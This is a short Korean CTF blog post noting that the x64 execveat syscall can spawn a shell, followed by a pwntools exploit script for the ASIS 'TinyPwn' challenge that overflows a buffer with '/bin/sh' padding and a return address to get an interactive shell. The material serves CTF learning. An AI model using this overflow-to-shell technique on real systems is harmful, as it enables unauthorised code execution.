pwnable/ctf

x64 systemcall execveat

Ryuuu 2018. 5. 6. 12:33

x64 systemcall 중 execveat이란 게 있어서 execve말고도 execveat으로도 쉘을 띄울 수 있다.....

이걸 몰라서 asis때 개삽질했다.... 이것만 알면 엄청 쉬운 문젠데.....


 

이런식으로 하면 쉘이 따진다....


꼭 기억해놔야겠다...

asis Tinypwn문제가 바로 이거가지고 rop하는 문제였다.


payload

# usr/bin/env python
# ryuuu

from pwn import *
import sys

s = process('./TinyPwn')
#s = process(["strace","-i","./TinyPwn"])

print util.proc.pidof(s)
pause()

payload = '/bin/sh\x00'.ljust(0x128,'A')
payload += p64(0x4000ed)
payload = payload.ljust(0x141,'A')
s.sendline(payload)

s.interactive()